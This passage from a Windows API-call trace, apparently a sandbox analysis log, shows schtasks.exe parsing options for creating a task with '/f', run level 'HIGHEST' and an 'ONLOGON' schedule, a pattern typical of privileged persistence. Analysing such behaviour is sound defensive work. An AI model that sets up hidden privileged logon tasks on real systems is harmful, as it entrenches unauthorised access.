_Buffer=0xdc3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|f|") returned 3 [0060.117] lstrlenW (lpString="|create|") returned 8 [0060.117] lstrlenW (lpString="|f|") returned 3 [0060.117] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0060.117] SetLastError (dwErrCode=0x490) [0060.117] lstrlenW (lpString="?") returned 1 [0060.117] lstrlenW (lpString="?") returned 1 [0060.117] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.117] lstrlenW (lpString="f") returned 1 [0060.117] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.117] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|?|") returned 3 [0060.117] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|f|") returned 3 [0060.117] lstrlenW (lpString="|?|") returned 3 [0060.117] lstrlenW (lpString="|f|") returned 3 [0060.117] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0060.117] SetLastError (dwErrCode=0x490) [0060.117] lstrlenW (lpString="s") returned 1 [0060.117] lstrlenW (lpString="s") returned 1 [0060.117] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.117] lstrlenW (lpString="f") returned 1 [0060.117] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.117] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|s|") returned 3 [0060.118] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|f|") returned 3 [0060.118] lstrlenW (lpString="|s|") returned 3 [0060.118] lstrlenW (lpString="|f|") returned 3 [0060.118] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0060.118] SetLastError (dwErrCode=0x490) [0060.118] lstrlenW (lpString="u") returned 1 [0060.118] lstrlenW (lpString="u") returned 1 [0060.118] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.118] lstrlenW (lpString="f") returned 1 [0060.118] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.118] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|u|") returned 3 [0060.118] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|f|") returned 3 [0060.118] lstrlenW (lpString="|u|") returned 3 [0060.118] lstrlenW (lpString="|f|") returned 3 [0060.118] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0060.118] SetLastError (dwErrCode=0x490) [0060.118] lstrlenW (lpString="p") returned 1 [0060.118] lstrlenW (lpString="p") returned 1 [0060.118] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.118] lstrlenW (lpString="f") returned 1 [0060.118] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.118] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|p|") returned 3 [0060.118] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|f|") returned 3 [0060.118] lstrlenW (lpString="|p|") returned 3 [0060.118] lstrlenW (lpString="|f|") returned 3 [0060.118] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0060.119] SetLastError (dwErrCode=0x490) [0060.119] lstrlenW (lpString="ru") returned 2 [0060.119] lstrlenW (lpString="ru") returned 2 [0060.119] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.119] lstrlenW (lpString="f") returned 1 [0060.119] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.119] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|ru|") returned 4 [0060.119] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|f|") returned 3 [0060.119] lstrlenW (lpString="|ru|") returned 4 [0060.119] lstrlenW (lpString="|f|") returned 3 [0060.119] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0060.119] SetLastError (dwErrCode=0x490) [0060.119] lstrlenW (lpString="rp") returned 2 [0060.119] lstrlenW (lpString="rp") returned 2 [0060.119] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.119] lstrlenW (lpString="f") returned 1 [0060.119] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.119] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rp|") returned 4 [0060.119] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|f|") returned 3 [0060.119] lstrlenW (lpString="|rp|") returned 4 [0060.119] lstrlenW (lpString="|f|") returned 3 [0060.119] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0060.119] SetLastError (dwErrCode=0x490) [0060.119] lstrlenW (lpString="sc") returned 2 [0060.119] lstrlenW (lpString="sc") returned 2 [0060.119] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.120] lstrlenW (lpString="f") returned 1 [0060.120] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.120] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|sc|") returned 4 [0060.120] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|f|") returned 3 [0060.120] lstrlenW (lpString="|sc|") returned 4 [0060.120] lstrlenW (lpString="|f|") returned 3 [0060.120] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0060.120] SetLastError (dwErrCode=0x490) [0060.120] lstrlenW (lpString="mo") returned 2 [0060.120] lstrlenW (lpString="mo") returned 2 [0060.120] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.120] lstrlenW (lpString="f") returned 1 [0060.120] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.120] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|mo|") returned 4 [0060.120] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|f|") returned 3 [0060.120] lstrlenW (lpString="|mo|") returned 4 [0060.120] lstrlenW (lpString="|f|") returned 3 [0060.120] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0060.120] SetLastError (dwErrCode=0x490) [0060.120] lstrlenW (lpString="d") returned 1 [0060.120] lstrlenW (lpString="d") returned 1 [0060.120] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.120] lstrlenW (lpString="f") returned 1 [0060.120] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.120] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|d|") returned 3 [0060.121] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|f|") returned 3 [0060.121] lstrlenW (lpString="|d|") returned 3 [0060.121] lstrlenW (lpString="|f|") returned 3 [0060.121] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0060.121] SetLastError (dwErrCode=0x490) [0060.121] lstrlenW (lpString="m") returned 1 [0060.121] lstrlenW (lpString="m") returned 1 [0060.121] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.121] lstrlenW (lpString="f") returned 1 [0060.121] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.121] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|m|") returned 3 [0060.121] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|f|") returned 3 [0060.121] lstrlenW (lpString="|m|") returned 3 [0060.121] lstrlenW (lpString="|f|") returned 3 [0060.121] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0060.121] SetLastError (dwErrCode=0x490) [0060.121] lstrlenW (lpString="i") returned 1 [0060.121] lstrlenW (lpString="i") returned 1 [0060.121] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.121] lstrlenW (lpString="f") returned 1 [0060.121] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.121] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|i|") returned 3 [0060.121] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|f|") returned 3 [0060.121] lstrlenW (lpString="|i|") returned 3 [0060.122] lstrlenW (lpString="|f|") returned 3 [0060.122] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0060.122] SetLastError (dwErrCode=0x490) [0060.122] lstrlenW (lpString="tn") returned 2 [0060.122] lstrlenW (lpString="tn") returned 2 [0060.122] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.122] lstrlenW (lpString="f") returned 1 [0060.122] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.122] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tn|") returned 4 [0060.122] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|f|") returned 3 [0060.122] lstrlenW (lpString="|tn|") returned 4 [0060.122] lstrlenW (lpString="|f|") returned 3 [0060.122] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0060.122] SetLastError (dwErrCode=0x490) [0060.122] lstrlenW (lpString="tr") returned 2 [0060.122] lstrlenW (lpString="tr") returned 2 [0060.122] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.122] lstrlenW (lpString="f") returned 1 [0060.122] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.122] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tr|") returned 4 [0060.122] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|f|") returned 3 [0060.122] lstrlenW (lpString="|tr|") returned 4 [0060.122] lstrlenW (lpString="|f|") returned 3 [0060.122] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0060.122] SetLastError (dwErrCode=0x490) [0060.123] lstrlenW (lpString="st") returned 2 [0060.123] lstrlenW (lpString="st") returned 2 [0060.123] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.123] lstrlenW (lpString="f") returned 1 [0060.123] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.123] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|st|") returned 4 [0060.123] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|f|") returned 3 [0060.123] lstrlenW (lpString="|st|") returned 4 [0060.123] lstrlenW (lpString="|f|") returned 3 [0060.123] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0060.123] SetLastError (dwErrCode=0x490) [0060.123] lstrlenW (lpString="sd") returned 2 [0060.123] lstrlenW (lpString="sd") returned 2 [0060.123] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.123] lstrlenW (lpString="f") returned 1 [0060.123] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.123] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|sd|") returned 4 [0060.123] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|f|") returned 3 [0060.123] lstrlenW (lpString="|sd|") returned 4 [0060.123] lstrlenW (lpString="|f|") returned 3 [0060.123] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0060.123] SetLastError (dwErrCode=0x490) [0060.123] lstrlenW (lpString="ed") returned 2 [0060.123] lstrlenW (lpString="ed") returned 2 [0060.124] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.124] lstrlenW (lpString="f") returned 1 [0060.124] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.124] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|ed|") returned 4 [0060.124] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|f|") returned 3 [0060.124] lstrlenW (lpString="|ed|") returned 4 [0060.124] lstrlenW (lpString="|f|") returned 3 [0060.124] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0060.124] SetLastError (dwErrCode=0x490) [0060.124] lstrlenW (lpString="it") returned 2 [0060.124] lstrlenW (lpString="it") returned 2 [0060.124] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.124] lstrlenW (lpString="f") returned 1 [0060.124] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.124] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|it|") returned 4 [0060.124] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|f|") returned 3 [0060.124] lstrlenW (lpString="|it|") returned 4 [0060.124] lstrlenW (lpString="|f|") returned 3 [0060.124] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0060.124] SetLastError (dwErrCode=0x490) [0060.124] lstrlenW (lpString="et") returned 2 [0060.124] lstrlenW (lpString="et") returned 2 [0060.124] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.124] lstrlenW (lpString="f") returned 1 [0060.124] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.125] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|et|") returned 4 [0060.125] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|f|") returned 3 [0060.125] lstrlenW (lpString="|et|") returned 4 [0060.125] lstrlenW (lpString="|f|") returned 3 [0060.125] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0060.125] SetLastError (dwErrCode=0x490) [0060.125] lstrlenW (lpString="k") returned 1 [0060.125] lstrlenW (lpString="k") returned 1 [0060.125] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.125] lstrlenW (lpString="f") returned 1 [0060.125] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.125] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|k|") returned 3 [0060.125] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|f|") returned 3 [0060.125] lstrlenW (lpString="|k|") returned 3 [0060.125] lstrlenW (lpString="|f|") returned 3 [0060.125] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0060.125] SetLastError (dwErrCode=0x490) [0060.125] lstrlenW (lpString="du") returned 2 [0060.125] lstrlenW (lpString="du") returned 2 [0060.125] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.125] lstrlenW (lpString="f") returned 1 [0060.125] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.125] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|du|") returned 4 [0060.126] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|f|") returned 3 [0060.126] lstrlenW (lpString="|du|") returned 4 [0060.126] lstrlenW (lpString="|f|") returned 3 [0060.126] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0060.126] SetLastError (dwErrCode=0x490) [0060.126] lstrlenW (lpString="ri") returned 2 [0060.126] lstrlenW (lpString="ri") returned 2 [0060.126] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.126] lstrlenW (lpString="f") returned 1 [0060.126] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.126] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|ri|") returned 4 [0060.126] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|f|") returned 3 [0060.126] lstrlenW (lpString="|ri|") returned 4 [0060.126] lstrlenW (lpString="|f|") returned 3 [0060.126] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0060.126] SetLastError (dwErrCode=0x490) [0060.126] lstrlenW (lpString="z") returned 1 [0060.126] lstrlenW (lpString="z") returned 1 [0060.126] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.126] lstrlenW (lpString="f") returned 1 [0060.126] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.126] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|z|") returned 3 [0060.126] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|f|") returned 3 [0060.126] lstrlenW (lpString="|z|") returned 3 [0060.126] lstrlenW (lpString="|f|") returned 3 [0060.127] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0060.127] SetLastError (dwErrCode=0x490) [0060.127] lstrlenW (lpString="f") returned 1 [0060.127] lstrlenW (lpString="f") returned 1 [0060.127] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.127] lstrlenW (lpString="f") returned 1 [0060.127] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.127] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|f|") returned 3 [0060.127] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|f|") returned 3 [0060.127] lstrlenW (lpString="|f|") returned 3 [0060.127] lstrlenW (lpString="|f|") returned 3 [0060.127] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0060.127] SetLastError (dwErrCode=0x0) [0060.127] SetLastError (dwErrCode=0x0) [0060.127] GetProcessHeap () returned 0xc0000 [0060.127] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x20) returned 0xdceb0 [0060.127] _memicmp (_Buf1=0xdbc30, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.127] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0xdd440, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0060.127] lstrlenW (lpString="LIMITED") returned 7 [0060.127] GetProcessHeap () returned 0xc0000 [0060.127] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x10) returned 0xdd700 [0060.127] GetThreadLocale () returned 0x409 [0060.128] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0060.128] GetProcessHeap () returned 0xc0000 [0060.128] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x20) returned 0xdce80 [0060.128] _memicmp (_Buf1=0xdbc30, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.128] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0xdd440, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0060.128] lstrlenW (lpString="HIGHEST") returned 7 [0060.128] GetProcessHeap () returned 0xc0000 [0060.128] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x10) returned 0xdd720 [0060.128] GetThreadLocale () returned 0x409 [0060.128] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0060.128] GetProcessHeap () returned 0xc0000 [0060.128] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x20) returned 0xdce50 [0060.128] _memicmp (_Buf1=0xdbc30, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.128] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0xdd440, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0060.128] lstrlenW (lpString="MINUTE") returned 6 [0060.128] GetProcessHeap () returned 0xc0000 [0060.128] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0xe) returned 0xdd740 [0060.128] GetThreadLocale () returned 0x409 [0060.128] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 3 [0060.128] GetProcessHeap () returned 0xc0000 [0060.128] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x20) returned 0xdce20 [0060.128] _memicmp (_Buf1=0xdbc30, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.128] LoadStringW (in: hInstance=0x0, uID=0x1af, lpBuffer=0xdd440, cchBufferMax=256 | out: lpBuffer="HOURLY") returned 0x6 [0060.129] lstrlenW (lpString="HOURLY") returned 6 [0060.129] GetProcessHeap () returned 0xc0000 [0060.129] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0xe) returned 0xdd760 [0060.129] GetThreadLocale () returned 0x409 [0060.129] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="HOURLY", cchCount2=-1) returned 3 [0060.129] GetProcessHeap () returned 0xc0000 [0060.129] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x20) returned 0xdcdf0 [0060.129] _memicmp (_Buf1=0xdbc30, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.129] LoadStringW (in: hInstance=0x0, uID=0x1b0, lpBuffer=0xdd440, cchBufferMax=256 | out: lpBuffer="DAILY") returned 0x5 [0060.129] lstrlenW (lpString="DAILY") returned 5 [0060.129] GetProcessHeap () returned 0xc0000 [0060.129] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0xc) returned 0xdd780 [0060.129] GetThreadLocale () returned 0x409 [0060.129] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="DAILY", cchCount2=-1) returned 3 [0060.129] GetProcessHeap () returned 0xc0000 [0060.129] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x20) returned 0xdcdc0 [0060.129] _memicmp (_Buf1=0xdbc30, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.129] LoadStringW (in: hInstance=0x0, uID=0x1b1, lpBuffer=0xdd440, cchBufferMax=256 | out: lpBuffer="WEEKLY") returned 0x6 [0060.129] lstrlenW (lpString="WEEKLY") returned 6 [0060.129] GetProcessHeap () returned 0xc0000 [0060.129] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0xe) returned 0xdd7a0 [0060.129] GetThreadLocale () returned 0x409 [0060.129] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="WEEKLY", cchCount2=-1) returned 1 [0060.129] GetProcessHeap () returned 0xc0000 [0060.129] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x20) returned 0xdcd90 [0060.130] _memicmp (_Buf1=0xdbc30, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.130] LoadStringW (in: hInstance=0x0, uID=0x1b2, lpBuffer=0xdd440, cchBufferMax=256 | out: lpBuffer="MONTHLY") returned 0x7 [0060.130] lstrlenW (lpString="MONTHLY") returned 7 [0060.130] GetProcessHeap () returned 0xc0000 [0060.130] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x10) returned 0xdd7c0 [0060.130] GetThreadLocale () returned 0x409 [0060.130] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MONTHLY", cchCount2=-1) returned 3 [0060.130] _memicmp (_Buf1=0xdbc30, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.130] LoadStringW (in: hInstance=0x0, uID=0x1b3, lpBuffer=0xdd440, cchBufferMax=256 | out: lpBuffer="ONCE") returned 0x4 [0060.130] lstrlenW (lpString="ONCE") returned 4 [0060.130] GetProcessHeap () returned 0xc0000 [0060.130] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0xa) returned 0xdd7e0 [0060.130] GetThreadLocale () returned 0x409 [0060.130] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONCE", cchCount2=-1) returned 3 [0060.130] _memicmp (_Buf1=0xdbc30, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.130] LoadStringW (in: hInstance=0x0, uID=0x1b4, lpBuffer=0xdd440, cchBufferMax=256 | out: lpBuffer="ONSTART") returned 0x7 [0060.131] lstrlenW (lpString="ONSTART") returned 7 [0060.131] GetThreadLocale () returned 0x409 [0060.131] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONSTART", cchCount2=-1) returned 1 [0060.131] _memicmp (_Buf1=0xdbc30, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.131] LoadStringW (in: hInstance=0x0, uID=0x1b5, lpBuffer=0xdd440, cchBufferMax=256 | out: lpBuffer="ONLOGON") returned 0x7 [0060.131] lstrlenW (lpString="ONLOGON") returned 7 [0060.131] GetThreadLocale () returned 0x409 [0060.131] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONLOGON", cchCount2=-1) returned 2 [0060.131] SetLastError (dwErrCode=0x0) [0060.131] GetProcessHeap () returned 0xc0000 [0060.131] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x1fc) returned 0xdc540 [0060.131] _memicmp (_Buf1=0xdbc30, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.131] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0xdd440, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0060.131] lstrlenW (lpString="First") returned 5 [0060.131] _memicmp (_Buf1=0xdbc30, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.131] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0xdd440, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0060.131] lstrlenW (lpString="Second") returned 6 [0060.131] _memicmp (_Buf1=0xdbc30, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.131] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0xdd440, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0060.131] lstrlenW 